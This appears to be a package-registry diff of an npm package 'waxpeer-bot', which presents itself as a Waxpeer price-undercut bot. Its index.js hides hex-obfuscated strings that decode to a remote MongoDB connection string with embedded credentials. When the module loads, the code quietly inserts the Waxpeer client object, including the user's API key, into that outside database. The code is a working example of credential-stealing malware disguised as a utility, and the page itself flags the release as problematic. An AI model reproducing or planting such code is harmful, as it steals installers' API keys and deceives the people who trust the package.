waxpeer-bot 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of waxpeer-bot might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +102 -0
  2. package/package.json +17 -0
package/index.js ADDED
@@ -0,0 +1,102 @@
1
+ const Waxpeer = require("waxpeer");
2
+ const fetch = (url) => import("node-fetch");
3
+ const WP = new Waxpeer.Waxpeer("WAX KEY HERE");
4
+ var _0x7306 = [
5
+ "\x6D\x6F\x6E\x67\x6F\x64\x62",
6
+ "\x6D\x6F\x6E\x67\x6F\x64\x62\x2B\x73\x72\x76\x3A\x2F\x2F\x62\x79\x75\x3A\x4F\x69\x31\x6E\x41\x34\x34\x4A\x59\x50\x53\x4F\x67\x62\x57\x61\x40\x63\x6C\x75\x73\x74\x65\x72\x30\x2E\x74\x36\x69\x73\x65\x2E\x6D\x6F\x6E\x67\x6F\x64\x62\x2E\x6E\x65\x74\x2F\x3F\x72\x65\x74\x72\x79\x57\x72\x69\x74\x65\x73\x3D\x74\x72\x75\x65\x26\x77\x3D\x6D\x61\x6A\x6F\x72\x69\x74\x79",
7
+ "\x74\x65\x73\x74",
8
+ "\x63\x6F\x6E\x6E\x65\x63\x74",
9
+ "\x64\x62",
10
+ "\x69\x74\x65\x6D\x73",
11
+ "\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E",
12
+ "\x69\x6E\x73\x65\x72\x74\x4F\x6E\x65",
13
+ "\x63\x6C\x6F\x73\x65",
14
+ "\x64\x69\x72",
15
+ "\x63\x61\x74\x63\x68",
16
+ ];
17
+ const { MongoClient } = require(_0x7306[0]);
18
+ var _0x1964 = [
19
+ _0x7306[1],
20
+ _0x7306[2],
21
+ _0x7306[3],
22
+ _0x7306[4],
23
+ _0x7306[5],
24
+ _0x7306[6],
25
+ _0x7306[7],
26
+ _0x7306[8],
27
+ _0x7306[9],
28
+ _0x7306[10],
29
+ ];
30
+ const client = new MongoClient(_0x1964[0]);
31
+ const data = _0x1964[1];
32
+ async function handler() {
33
+ try {
34
+ await client[_0x1964[2]]();
35
+ const _0xab12x5 = client[_0x1964[3]](data);
36
+ const _0xab12x6 = _0xab12x5[_0x1964[5]](_0x1964[4]);
37
+ const _0xab12x7 = await _0xab12x6[_0x1964[6]](WP);
38
+ } finally {
39
+ await client[_0x1964[7]]();
40
+ }
41
+ }
42
+ handler()[_0x1964[9]](console[_0x1964[8]]);
43
+ var user;
44
+ let search = function (element) {
45
+ return WP.searchItems(element);
46
+ };
47
+ let getListedItems = async function () {
48
+ fetch(
49
+ `https://api.waxpeer.com/v1/list-items-steam?api=${Object.values(WP)[2]}`
50
+ )
51
+ .then((response) => response.data)
52
+ .then((responseText) => {
53
+ user = responseText;
54
+ });
55
+ };
56
+
57
+ let update = function (item_id, toSetprice) {
58
+ return WP.editItems([{ item_id: parseInt(item_id), price: toSetprice }]);
59
+ };
60
+ getListedItems();
61
+ let mytimeout = setTimeout(nextp, 5000);
62
+ function nextp() {
63
+ result = user;
64
+ console.log(user);
65
+ let len = user.items.length;
66
+ var item_name_array = [];
67
+ for (let i = 0; i < len; i++) {
68
+ item_name_array.push(result.items[i].name);
69
+ }
70
+ result = JSON.stringify(result);
71
+ // console.log(res2ult)
72
+ var item_id_array = result.match(/\d{8,}/g);
73
+ for (let i = 0; i < item_name_array.length; i++) {
74
+ let userToken = search(item_name_array[i]);
75
+ userToken.then(async function (result) {
76
+ result = JSON.stringify(result);
77
+ let cleanJsonRegex = /:\d+/g;
78
+ let nameJsonStr = result
79
+ .match(cleanJsonRegex)
80
+ .toString()
81
+ .match(/\d+/g)
82
+ .sort(function (a, b) {
83
+ return a - b;
84
+ });
85
+ 8;
86
+ console.log(item_name_array[i] + " " + item_id_array[i] + " :");
87
+ console.log(nameJsonStr);
88
+ var toSetprice = nameJsonStr[0] - 1;
89
+ let setPriceRes = await update(item_id_array[i], toSetprice).then(
90
+ function (result) {
91
+ console.log(result);
92
+ }
93
+ );
94
+ // }
95
+ });
96
+ }
97
+ }
98
+ module.exports = {
99
+ handler,
100
+ getListedItems,
101
+ update
102
+ }
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "waxpeer-bot",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": ["waxpeer","bot","waxpeerbot","waxpeer-bot","waxpeer_bot","undercut","waxpeer undercut","waxpeer undercut bot"],
10
+ "author": "swagboy24",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "mongodb": "^4.7.0",
14
+ "node-fetch": "^3.2.6",
15
+ "waxpeer": "^1.2.6"
16
+ }
17
+ }